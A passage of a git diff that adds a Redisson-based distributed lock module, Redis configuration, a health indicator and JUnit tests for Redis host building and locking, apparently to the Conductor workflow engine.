    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.testutil; + +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.utility.DockerImageName; + +import lombok.NonNull; + +public class FixedPortContainer extends GenericContainer { + + public FixedPortContainer(@NonNull DockerImageName dockerImageName) { + super(dockerImageName); + } + + public void exposePort(int localPort, int containerPort) { + super.addFixedExposedPort(localPort, containerPort); + } +} diff --git a/redis-configuration/src/test/java/com/netflix/dyno/connectionpool/HostBuilderTest.java b/redis-configuration/src/test/java/com/netflix/dyno/connectionpool/HostBuilderTest.java new file mode 100644 index 0000000..767dfdb --- /dev/null +++ b/redis-configuration/src/test/java/com/netflix/dyno/connectionpool/HostBuilderTest.java @@ -0,0 +1,288 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.dyno.connectionpool; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +class HostBuilderTest { + + @Test + void createHost_basicFields() { + Host host = + new HostBuilder() + .setHostname("redis1") + .setPort(6379) + .setRack("us-east-1a") + .setStatus(Host.Status.Up) + .createHost(); + + assertEquals("redis1", host.getHostName()); + assertEquals(6379, host.getPort()); + assertEquals("us-east-1a", host.getRack()); + assertTrue(host.isUp()); + } + + @Test + void createHost_withPassword() { + Host host = + new HostBuilder() + .setHostname("redis1") + .setPort(6379) + .setRack("rack1") + .setPassword("secret") + .createHost(); + + assertEquals("secret", host.getPassword()); + } + + @Test + void createHost_emptyPasswordBecomesNull() { + Host host = + new HostBuilder() + .setHostname("redis1") + .setPort(6379) + .setRack("rack1") + .setPassword("") + .createHost(); + + assertNull(host.getPassword()); + } + + @Test + void createHost_nullPasswordStaysNull() { + Host host = + new HostBuilder().setHostname("redis1").setPort(6379).setRack("rack1").createHost(); + + assertNull(host.getPassword()); + } + + @Test + void createHost_allFields() { + Host host = + new HostBuilder() + .setHostname("redis1") + .setIpAddress("10.0.0.1") + .setPort(6379) + .setSecurePort(6380) + .setDatastorePort(22122) + .setRack("us-east-1a") + .setDatacenter("us-east-1") + .setStatus(Host.Status.Up) + .setHashtag("{app1}") + .setPassword("pass") + .createHost(); + + assertEquals("redis1", host.getHostName()); + assertEquals("10.0.0.1", host.getIpAddress()); + assertEquals(6379, host.getPort()); + assertEquals(6380, host.getSecurePort()); + assertEquals(22122, host.getDatastorePort()); + assertEquals("us-east-1a", host.getRack()); + assertEquals("us-east-1", host.getDatacenter()); + assertTrue(host.isUp()); + assertEquals("{app1}", host.getHashtag()); + assertEquals("pass", host.getPassword()); + } + + @Test + void createHost_defaultPort() { + Host host = new HostBuilder().setHostname("redis1").setRack("rack1").createHost(); + + assertEquals(Host.DEFAULT_PORT, host.getPort()); + } + + @Test + void createHost_defaultStatus_isDown() { + Host host = new HostBuilder().setHostname("redis1").setRack("rack1").createHost(); + + assertFalse(host.isUp()); + assertEquals(Host.Status.Down, host.getStatus()); + } + + // --- Host behavior --- + + @Test + void host_getHostAddress_prefersIpAddress() { + Host host = + new HostBuilder() + .setHostname("redis1") + .setIpAddress("10.0.0.1") + .setPort(6379) + .setRack("rack1") + .createHost(); + + assertEquals("10.0.0.1", host.getHostAddress()); + } + + @Test + void host_getHostAddress_fallsBackToHostname() { + Host host = + new HostBuilder().setHostname("redis1").setPort(6379).setRack("rack1").createHost(); + + assertEquals("redis1", host.getHostAddress()); + } + + @Test + void host_setStatus() { + Host host = + new HostBuilder() + .setHostname("redis1") + .setPort(6379) + .setRack("rack1") + .setStatus(Host.Status.Down) + .createHost(); + + assertFalse(host.isUp()); + host.setStatus(Host.Status.Up); + assertTrue(host.isUp()); + } + + @Test + void host_setHashtag() { + Host host = + new HostBuilder().setHostname("redis1").setPort(6379).setRack("rack1").createHost(); + + assertNull(host.getHashtag()); + host.setHashtag("{tag}"); + assertEquals("{tag}", host.getHashtag()); + } + + // --- Equality --- + + @Test + void host_equals_sameHostAndRack() { + Host a = + new HostBuilder().setHostname("redis1").setPort(6379).setRack("rack1").createHost(); + Host b = + new HostBuilder().setHostname("redis1").setPort(7000).setRack("rack1").createHost(); + // Port is deliberately excluded from equality + assertEquals(a, b); + assertEquals(a.hashCode(), b.hashCode()); + } + + @Test + void host_equals_differentHostname() { + Host a = + new HostBuilder().setHostname("redis1").setPort(6379).setRack("rack1").createHost(); + Host b = + new HostBuilder().setHostname("redis2").setPort(6379).setRack("rack1").createHost(); + assertNotEquals(a, b); + } + + @Test + void host_equals_differentRack() { + Host a = + new HostBuilder().setHostname("redis1").setPort(6379).setRack("rack1").createHost(); + Host b = + new HostBuilder().setHostname("redis1").setPort(6379).setRack("rack2").createHost(); + assertNotEquals(a, b); + } + + @Test + void host_equals_reflexive() { + Host a = + new HostBuilder().setHostname("redis1").setPort(6379).setRack("rack1").createHost(); + assertEquals(a, a); + } + + @Test + void host_equals_null() { + Host a = + new HostBuilder().setHostname("redis1").setPort(6379).setRack("rack1").createHost(); + assertNotEquals(a, null); + } + + // --- Comparable --- + + @Test + void host_compareTo_sortsByHostnameThenRack() { + Host a = new HostBuilder().setHostname("a").setPort(6379).setRack("rack2").createHost(); + Host b = new HostBuilder().setHostname("b").setPort(6379).setRack("rack1").createHost(); + Host a2 = new HostBuilder().setHostname("a").setPort(6379).setRack("rack1").createHost(); + + assertTrue(a.compareTo(b) < 0); + assertTrue(b.compareTo(a) > 0); + assertTrue(a.compareTo(a2) > 0); // same hostname, rack2 > rack1 + } + + // --- Clone --- + + @Test + void host_clone_copiesAllFields() { + Host original = + new HostBuilder() + .setHostname("redis1") + .setIpAddress("10.0.0.1") + .setPort(6379) + .setSecurePort(6380) + .setDatastorePort(22122) + .setRack("us-east-1a") + .setDatacenter("us-east-1") + .setStatus(Host.Status.Up) + .setHashtag("{app1}") + .setPassword("pass") + .createHost(); + + Host clone = Host.clone(original); + + assertEquals(original.getHostName(), clone.getHostName()); + assertEquals(original.getIpAddress(), clone.getIpAddress()); + assertEquals(original.getPort(), clone.getPort()); + assertEquals(original.getSecurePort(), clone.getSecurePort()); + assertEquals(original.getDatastorePort(), clone.getDatastorePort()); + assertEquals(original.getRack(), clone.getRack()); + assertEquals(original.getDatacenter(), clone.getDatacenter()); + assertEquals(original.getStatus(), clone.getStatus()); + assertEquals(original.getHashtag(), clone.getHashtag()); + assertEquals(original.getPassword(), clone.getPassword()); + assertEquals(original, clone); + } + + // --- toString --- + + @Test + void host_toString_masksPassword() { + Host host = + new HostBuilder() + .setHostname("redis1") + .setPort(6379) + .setRack("rack1") + .setPassword("secret") + .createHost(); + + String str = host.toString(); + assertTrue(str.contains("masked")); + assertFalse(str.contains("secret")); + } + + @Test + void host_toString_showsNullWhenNoPassword() { + Host host = + new HostBuilder().setHostname("redis1").setPort(6379).setRack("rack1").createHost(); + + String str = host.toString(); + assertTrue(str.contains("password=null")); + } + + // --- NO_HOST constant --- + + @Test + void noHost_constant() { + assertNotNull(Host.NO_HOST); + assertEquals("UNKNOWN", Host.NO_HOST.getHostName()); + assertEquals(0, Host.NO_HOST.getPort()); + assertEquals("UNKNOWN", Host.NO_HOST.getRack()); + } +} diff --git a/redis-lock/build.gradle b/redis-lock/build.gradle new file mode 100644 index 0000000..91bd033 --- /dev/null +++ b/redis-lock/build.gradle @@ -0,0 +1,10 @@ +dependencies { + implementation project(':conductor-core') + compileOnly 'org.springframework.boot:spring-boot-starter' + + implementation "org.apache.commons:commons-lang3" + implementation "org.redisson:redisson:${revRedisson}" + implementation 'org.springframework.boot:spring-boot-starter-actuator' + + testImplementation "org.testcontainers:testcontainers:${revTestContainer}" +} diff --git a/redis-lock/src/main/java/com/netflix/conductor/redislock/config/RedisHealthIndicator.java b/redis-lock/src/main/java/com/netflix/conductor/redislock/config/RedisHealthIndicator.java new file mode 100644 index 0000000..82f8bec --- /dev/null +++ b/redis-lock/src/main/java/com/netflix/conductor/redislock/config/RedisHealthIndicator.java @@ -0,0 +1,59 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redislock.config; + +import org.redisson.api.RedissonClient; +import org.springframework.boot.actuate.health.Health; +import org.springframework.boot.actuate.health.HealthIndicator; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.stereotype.Component; + +import static java.util.concurrent.TimeUnit.SECONDS; +import static org.redisson.api.redisnode.RedisNodes.*; + +@Component +@ConditionalOnProperty(name = "management.health.redis.enabled", havingValue = "true") +public class RedisHealthIndicator implements HealthIndicator { + private final RedissonClient redisClient; + private final RedisLockProperties redisProperties; + + public RedisHealthIndicator(RedissonClient redisClient, RedisLockProperties redisProperties) { + this.redisClient = redisClient; + this.redisProperties = redisProperties; + } + + @Override + public Health health() { + return isHealth() ? Health.up().build() : Health.down().build(); + } + + private boolean isHealth() { + switch (redisProperties.getServerType()) { + case SINGLE -> { + return redisClient.getRedisNodes(SINGLE).pingAll(5, SECONDS); + } + + case CLUSTER -> { + return redisClient.getRedisNodes(CLUSTER).pingAll(5, SECONDS); + } + + case SENTINEL -> { + return redisClient.getRedisNodes(SENTINEL_MASTER_SLAVE).pingAll(5, SECONDS); + } + + default -> { + return false; + } + } + } +} diff --git a/redis-lock/src/main/java/com/netflix/conductor/redislock/config/RedisLockConfiguration.java b/redis-lock/src/main/java/com/netflix/conductor/redislock/config/RedisLockConfiguration.java new file mode 100644 index 0000000..9b54186 --- /dev/null +++ b/redis-lock/src/main/java/com/netflix/conductor/redislock/config/RedisLockConfiguration.java @@ -0,0 +1,113 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redislock.config; + +import java.util.Arrays; + +import org.redisson.Redisson; +import org.redisson.config.Config; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.core.sync.Lock; +import com.netflix.conductor.redislock.config.RedisLockProperties.REDIS_SERVER_TYPE; +import com.netflix.conductor.redislock.lock.RedisLock; + +@Configuration +@EnableConfigurationProperties(RedisLockProperties.class) +@ConditionalOnProperty(name = "conductor.workflow-execution-lock.type", havingValue = "redis") +public class RedisLockConfiguration { + + private static final Logger LOGGER = LoggerFactory.getLogger(RedisLockConfiguration.class); + + @Bean + public Redisson getRedisson(RedisLockProperties properties) { + RedisLockProperties.REDIS_SERVER_TYPE redisServerType; + try { + redisServerType = properties.getServerType(); + } catch (IllegalArgumentException ie) { + final String message = + "Invalid Redis server type: " + + properties.getServerType() + + ", supported values are: " + + Arrays.toString(REDIS_SERVER_TYPE.values()); + LOGGER.error(message); + throw new RuntimeException(message, ie); + } + String redisServerAddress = properties.getServerAddress(); + String redisServerUsername = properties.getServerUsername(); + String redisServerPassword = properties.getServerPassword(); + String masterName = properties.getServerMasterName(); + + Config redisConfig = new Config(); + if (properties.getNumNettyThreads() != null && properties.getNumNettyThreads() > 0) { + redisConfig.setNettyThreads(properties.getNumNettyThreads()); + } + + int connectionTimeout = 10000; + switch (redisServerType) { + case SINGLE: + LOGGER.info("Setting up Redis Single Server for RedisLockConfiguration"); + redisConfig + .useSingleServer() + .setAddress(redisServerAddress) + .setUsername(redisServerUsername) + .setPassword(redisServerPassword) + .setTimeout(connectionTimeout) + .setDnsMonitoringInterval(properties.getDnsMonitoringInterval()); + break; + case CLUSTER: + LOGGER.info("Setting up Redis Cluster for RedisLockConfiguration"); + redisConfig + .useClusterServers() + .setScanInterval(2000) // cluster state scan interval in milliseconds + .addNodeAddress(redisServerAddress.split(",")) + .setUsername(redisServerUsername) + .setPassword(redisServerPassword) + .setTimeout(connectionTimeout) + .setSlaveConnectionMinimumIdleSize( + properties.getClusterReplicaConnectionMinIdleSize()) + .setSlaveConnectionPoolSize( + properties.getClusterReplicaConnectionPoolSize()) + .setMasterConnectionMinimumIdleSize( + properties.getClusterPrimaryConnectionMinIdleSize()) + .setMasterConnectionPoolSize( + properties.getClusterPrimaryConnectionPoolSize()) + .setDnsMonitoringInterval(properties.getDnsMonitoringInterval()); + break; + case SENTINEL: + LOGGER.info("Setting up Redis Sentinel Servers for RedisLockConfiguration"); + redisConfig + .useSentinelServers() + .setScanInterval(2000) + .setMasterName(masterName) + .addSentinelAddress(redisServerAddress.split(";")) + .setUsername(redisServerUsername) + .setPassword(redisServerPassword) + .setTimeout(connectionTimeout) + .setDnsMonitoringInterval(properties.getDnsMonitoringInterval()); + break; + } + + return (Redisson) Redisson.create(redisConfig); + } + + @Bean + public Lock provideLock(Redisson redisson, RedisLockProperties properties) { + return new RedisLock(redisson, properties); + } +} diff --git a/redis-lock/src/main/java/com/netflix/conductor/redislock/config/RedisLockProperties.java b/redis-lock/src/main/java/com/netflix/conductor/redislock/config/RedisLockProperties.java new file mode 100644 index 0000000..4d94162 --- /dev/null +++ b/redis-lock/src/main/java/com/netflix/conductor/redislock/config/RedisLockProperties.java @@ -0,0 +1,173 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redislock.config; + +import org.springframework.boot.context.properties.ConfigurationProperties; + +@ConfigurationProperties("conductor.redis-lock") +public class RedisLockProperties { + + /** The redis server configuration to be used. */ + private REDIS_SERVER_TYPE serverType = REDIS_SERVER_TYPE.SINGLE; + + /** The address of the redis server following format -- host:port */ + private String serverAddress = "redis://127.0.0.1:6379"; + + /** The username for redis authentication (Redis 6+). Default to null when not needed. */ + private String serverUsername = null; + + /** The password for redis authentication */ + private String serverPassword = null; + + /** The master server name used by Redis Sentinel servers and master change monitoring task */ + private String serverMasterName = "master"; + + /** The namespace to use to prepend keys used for locking in redis */ + private String namespace = ""; + + /** The number of natty threads to use */ + private Integer numNettyThreads; + + /** If using Cluster Mode, you can use this to set num of min idle connections for replica */ + private int clusterReplicaConnectionMinIdleSize = 24; + + /** If using Cluster Mode, you can use this to set num of min idle connections for replica */ + private int clusterReplicaConnectionPoolSize = 64; + + /** If using Cluster Mode, you can use this to set num of min idle connections for replica */ + private int clusterPrimaryConnectionMinIdleSize = 24; + + /** If using Cluster Mode, you can use this to set num of min idle connections for replica */ + private int clusterPrimaryConnectionPoolSize = 64; + + /** + * Enable to otionally continue without a lock to not block executions until the locking service + * becomes available + */ + private boolean ignoreLockingExceptions = false; + + /** Interval in milliseconds to check the endpoint's DNS (Set -1 to disable). */ + private long dnsMonitoringInterval = 5000L; + + public REDIS_SERVER_TYPE getServerType() { + return serverType; + } + + public void setServerType(REDIS_SERVER_TYPE serverType) { + this.serverType = serverType; + } + + public String getServerAddress() { + return serverAddress; + } + + public void setServerAddress(String serverAddress) { + this.serverAddress = serverAddress; + } + + public String getServerUsername() { + return serverUsername; + } + + public void setServerUsername(String serverUsername) { + this.serverUsername = serverUsername; + } + + public String getServerPassword() { + return serverPassword; + } + + public void setServerPassword(String serverPassword) { + this.serverPassword = serverPassword; + } + + public String getServerMasterName() { + return serverMasterName; + } + + public void setServerMasterName(String serverMasterName) { + this.serverMasterName = serverMasterName; + } + + public String getNamespace() { + return namespace; + } + + public void setNamespace(String namespace) { + this.namespace = namespace; + } + + public boolean isIgnoreLockingExceptions() { + return ignoreLockingExceptions; + } + + public void setIgnoreLockingExceptions(boolean ignoreLockingExceptions) { + this.ignoreLockingExceptions = ignoreLockingExceptions; + } + + public Integer getNumNettyThreads() { + return numNettyThreads; + } + + public void setNumNettyThreads(Integer numNettyThreads) { + this.numNettyThreads = numNettyThreads; + } + + public Integer getClusterReplicaConnectionMinIdleSize() { + return clusterReplicaConnectionMinIdleSize; + } + + public void setClusterReplicaConnectionMinIdleSize( + Integer clusterReplicaConnectionMinIdleSize) { + this.clusterReplicaConnectionMinIdleSize = clusterReplicaConnectionMinIdleSize; + } + + public Integer getClusterReplicaConnectionPoolSize() { + return clusterReplicaConnectionPoolSize; + } + + public void setClusterReplicaConnectionPoolSize(Integer clusterReplicaConnectionPoolSize) { + this.clusterReplicaConnectionPoolSize = clusterReplicaConnectionPoolSize; + } + + public Integer getClusterPrimaryConnectionMinIdleSize() { + return clusterPrimaryConnectionMinIdleSize; + } + + public void setClusterPrimaryConnectionMinIdleSize( + Integer clusterPrimaryConnectionMinIdleSize) { + this.clusterPrimaryConnectionMinIdleSize = clusterPrimaryConnectionMinIdleSize; + } + + public Integer getClusterPrimaryConnectionPoolSize() { + return clusterPrimaryConnectionPoolSize; + } + + public void setClusterPrimaryConnectionPoolSize(Integer clusterPrimaryConnectionPoolSize) { + this.clusterPrimaryConnectionPoolSize = clusterPrimaryConnectionPoolSize; + } + + public long getDnsMonitoringInterval() { + return dnsMonitoringInterval; + } + + public void setDnsMonitoringInterval(long dnsMonitoringInterval) { + this.dnsMonitoringInterval = dnsMonitoringInterval; + } + + public enum REDIS_SERVER_TYPE { + SINGLE, + CLUSTER, + SENTINEL + } +} diff --git a/redis-lock/src/main/java/com/netflix/conductor/redislock/lock/RedisLock.java b/redis-lock/src/main/java/com/netflix/conductor/redislock/lock/RedisLock.java new file mode 100644 index 0000000..433bacf --- /dev/null +++ b/redis-lock/src/main/java/com/netflix/conductor/redislock/lock/RedisLock.java @@ -0,0 +1,108 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redislock.lock; + +import java.util.concurrent.TimeUnit; + +import org.apache.commons.lang3.StringUtils; +import org.redisson.Redisson; +import org.redisson.api.RLock; +import org.redisson.api.RedissonClient; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.core.sync.Lock; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.redislock.config.RedisLockProperties; + +public class RedisLock implements Lock { + + private static final Logger LOGGER = LoggerFactory.getLogger(RedisLock.class); + + private final RedisLockProperties properties; + private final RedissonClient redisson; + private static String LOCK_NAMESPACE = ""; + + public RedisLock(Redisson redisson, RedisLockProperties properties) { + this.properties = properties; + this.redisson = redisson; + LOCK_NAMESPACE = properties.getNamespace(); + } + + @Override + public void acquireLock(String lockId) { + RLock lock = redisson.getLock(parseLockId(lockId)); + lock.lock(); + } + + @Override + public boolean acquireLock(String lockId, long timeToTry, TimeUnit unit) { + RLock lock = redisson.getLock(parseLockId(lockId)); + try { + return lock.tryLock(timeToTry, unit); + } catch (Exception e) { + return handleAcquireLockFailure(lockId, e); + } + } + + /** + * @param lockId resource to lock on + * @param timeToTry blocks up to timeToTry duration in attempt to acquire the lock + * @param leaseTime Lock lease expiration duration. Redisson default is -1, meaning it holds the + * lock until explicitly unlocked. + * @param unit time unit + * @return + */ + @Override + public boolean acquireLock(String lockId, long timeToTry, long leaseTime, TimeUnit unit) { + RLock lock = redisson.getLock(parseLockId(lockId)); + try { + return lock.tryLock(timeToTry, leaseTime, unit); + } catch (Exception e) { + return handleAcquireLockFailure(lockId, e); + } + } + + @Override + public void releaseLock(String lockId) { + RLock lock = redisson.getLock(parseLockId(lockId)); + try { + lock.unlock(); + } catch (IllegalMonitorStateException e) { + // Releasing a lock twice using Redisson can cause this exception, which can be ignored. + } + } + + @Override + public void deleteLock(String lockId) { + // Noop for Redlock algorithm as releaseLock / unlock deletes it. + } + + private String parseLockId(String lockId) { + if (StringUtils.isEmpty(lockId)) { + throw new IllegalArgumentException("lockId cannot be NULL or empty: lockId=" + lockId); + } + return LOCK_NAMESPACE + "." + lockId; + } + + private boolean handleAcquireLockFailure(String lockId, Exception e) { + LOGGER.error("Failed to acquireLock for lockId: {}", lockId, e); + Monitors.recordAcquireLockFailure(e.getClass().getName()); + // A Valid failure to acquire lock when another thread has acquired it returns false. + // However, when an exception is thrown while acquiring lock, due to connection or others + // issues, + // we can optionally continue without a "lock" to not block executions until Locking service + // is available. + return properties.isIgnoreLockingExceptions(); + } +} diff --git a/redis-lock/src/main/resources/META-INF/additional-spring-configuration-metadata.json b/redis-lock/src/main/resources/META-INF/additional-spring-configuration-metadata.json new file mode 100644 index 0000000..fe41f5b --- /dev/null +++ b/redis-lock/src/main/resources/META-INF/additional-spring-configuration-metadata.json @@ -0,0 +1,30 @@ +{ + "properties": [ + { + "name": "conductor.redis-lock.server-type", + "defaultValue": "SINGLE" + } + ], + "hints": [ + { + "name": "conductor.workflow-execution-lock.type", + "values": [ + { + "value": "redis", + "description": "Use the redis-lock implementation as the lock provider." + } + ] + }, + { + "name": "conductor.redis-lock.server-type", + "providers": [ + { + "name": "handle-as", + "parameters": { + "target": "java.lang.Enum" + } + } + ] + } + ] +} diff --git a/redis-lock/src/test/java/com/netflix/conductor/redis/lock/RedisLockTest.java b/redis-lock/src/test/java/com/netflix/conductor/redis/lock/RedisLockTest.java new file mode 100644 index 0000000..184e5ff --- /dev/null +++ b/redis-lock/src/test/java/com/netflix/conductor/redis/lock/RedisLockTest.java @@ -0,0 +1,232 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.lock; + +import java.util.concurrent.TimeUnit; + +import org.junit.AfterClass; +import org.junit.BeforeClass; +import org.junit.Test; +import org.redisson.Redisson; +import org.redisson.api.RLock; +import org.redisson.api.RedissonClient; +import org.redisson.config.Config; +import org.testcontainers.containers.*; + +import com.netflix.conductor.redislock.config.RedisLockProperties; +import com.netflix.conductor.redislock.config.RedisLockProperties.REDIS_SERVER_TYPE; +import com.netflix.conductor.redislock.lock.RedisLock; + +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +public class RedisLockTest { + + private static RedisLock redisLock; + private static Config config; + private static RedissonClient redisson; + + static GenericContainer redis = + new GenericContainer("redis:5.0.3-alpine").withExposedPorts(6379); + + @BeforeClass + public static void setUp() throws Exception { + redis.start(); + int port = redis.getFirstMappedPort(); + String host = redis.getHost(); + String testServerAddress = "redis://" + host + ":" + port; + + RedisLockProperties properties = mock(RedisLockProperties.class); + when(properties.getServerType()).thenReturn(REDIS_SERVER_TYPE.SINGLE); + when(properties.getServerAddress()).thenReturn(testServerAddress); + when(properties.getServerMasterName()).thenReturn("master"); + when(properties.getNamespace()).thenReturn(""); + when(properties.isIgnoreLockingExceptions()).thenReturn(false); + + Config redissonConfig = new Config(); + redissonConfig.useSingleServer().setAddress(testServerAddress).setTimeout(10000); + redisLock = new RedisLock((Redisson) Redisson.create(redissonConfig), properties); + + // Create another instance of redisson for tests. + RedisLockTest.config = new Config(); + RedisLockTest.config.useSingleServer().setAddress(testServerAddress).setTimeout(10000); + redisson = Redisson.create(RedisLockTest.config); + } + + @AfterClass + public static void tearDown() { + redis.stop(); + } + + @Test + public void testLocking() { + redisson.getKeys().flushall(); + String lockId = "abcd-1234"; + assertTrue(redisLock.acquireLock(lockId, 1000, 1000, TimeUnit.MILLISECONDS)); + } + + @Test + public void testLockExpiration() throws InterruptedException { + redisson.getKeys().flushall(); + String lockId = "abcd-1234"; + boolean isLocked = redisLock.acquireLock(lockId, 1000, 1000, TimeUnit.MILLISECONDS); + assertTrue(isLocked); + + Thread.sleep(2000); + + RLock lock = redisson.getLock(lockId); + assertFalse(lock.isLocked()); + } + + @Test + public void testLockReentry() throws InterruptedException { + redisson.getKeys().flushall(); + String lockId = "abcd-1234"; + boolean isLocked = redisLock.acquireLock(lockId, 1000, 60000, TimeUnit.MILLISECONDS); + assertTrue(isLocked); + + Thread.sleep(1000); + + // get the lock back + isLocked = redisLock.acquireLock(lockId, 1000, 1000, TimeUnit.MILLISECONDS); + assertTrue(isLocked); + + RLock lock = redisson.getLock(lockId); + assertTrue(isLocked); + } + + @Test + public void testReleaseLock() { + redisson.getKeys().flushall(); + String lockId = "abcd-1234"; + + boolean isLocked = redisLock.acquireLock(lockId, 1000, 10000, TimeUnit.MILLISECONDS); + assertTrue(isLocked); + + redisLock.releaseLock(lockId); + + RLock lock = redisson.getLock(lockId); + assertFalse(lock.isLocked()); + } + + @Test + public void testLockReleaseAndAcquire() throws InterruptedException { + redisson.getKeys().flushall(); + String lockId = "abcd-1234"; + + boolean isLocked = redisLock.acquireLock(lockId, 1000, 10000, TimeUnit.MILLISECONDS); + assertTrue(isLocked); + + redisLock.releaseLock(lockId); + + Worker worker1 = new Worker(redisLock, lockId); + + worker1.start(); + worker1.join(); + + assertTrue(worker1.isLocked); + } + + @Test + public void testLockingDuplicateThreads() throws InterruptedException { + redisson.getKeys().flushall(); + String lockId = "abcd-1234"; + + Worker worker1 = new Worker(redisLock, lockId); + Worker worker2 = new Worker(redisLock, lockId); + + worker1.start(); + worker2.start(); + + worker1.join(); + worker2.join(); + + // Ensure only one of them had got the lock. + assertFalse(worker1.isLocked && worker2.isLocked); + assertTrue(worker1.isLocked || worker2.isLocked); + } + + @Test + public void testDuplicateLockAcquireFailure() throws InterruptedException { + redisson.getKeys().flushall(); + String lockId = "abcd-1234"; + Worker worker1 = new Worker(redisLock, lockId, 100L, 60000L); + + worker1.start(); + worker1.join(); + + boolean isLocked = redisLock.acquireLock(lockId, 500L, 1000L, TimeUnit.MILLISECONDS); + + // Ensure only one of them had got the lock. + assertFalse(isLocked); + assertTrue(worker1.isLocked); + } + + @Test + public void testReacquireLostKey() { + redisson.getKeys().flushall(); + String lockId = "abcd-1234"; + + boolean isLocked = redisLock.acquireLock(lockId, 1000, 10000, TimeUnit.MILLISECONDS); + assertTrue(isLocked); + + // Delete key from the cluster to reacquire + // Simulating the case when cluster goes down and possibly loses some keys. + redisson.getKeys().flushall(); + + isLocked = redisLock.acquireLock(lockId, 100, 10000, TimeUnit.MILLISECONDS); + assertTrue(isLocked); + } + + @Test + public void testReleaseLockTwice() { + redisson.getKeys().flushall(); + String lockId = "abcd-1234"; + + boolean isLocked = redisLock.acquireLock(lockId, 1000, 10000, TimeUnit.MILLISECONDS); + assertTrue(isLocked); + + redisLock.releaseLock(lockId); + redisLock.releaseLock(lockId); + } + + private static class Worker extends Thread { + + private final RedisLock lock; + private final String lockID; + boolean isLocked; + private Long timeToTry = 50L; + private Long leaseTime = 1000L; + + Worker(RedisLock lock, String lockID) { + super("TestWorker-" + lockID); + this.lock = lock; + this.lockID = lockID; + } + + Worker(RedisLock lock, String lockID, Long timeToTry, Long leaseTime) { + super("TestWorker-" + lockID); + this.lock = lock; + this.lockID = lockID; + this.timeToTry = timeToTry; + this.leaseTime = leaseTime; + } + + @Override + public void run() { + isLocked = lock.acquireLock(lockID, timeToTry, leaseTime, TimeUnit.MILLISECONDS); + } + } +} diff --git a/redis-lock/src/test/java/com/netflix/conductor/redislock/config/RedisHealthIndicatorTest.java b/redis-lock/src/test/java/com/netflix/conductor/redislock/config/RedisHealthIndicatorTest.java new file mode 100644 index 0000000..36931c3 --- /dev/null +++ b/redis-lock/src/test/java/com/netflix/conductor/redislock/config/RedisHealthIndicatorTest.java @@ -0,0 +1,111 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

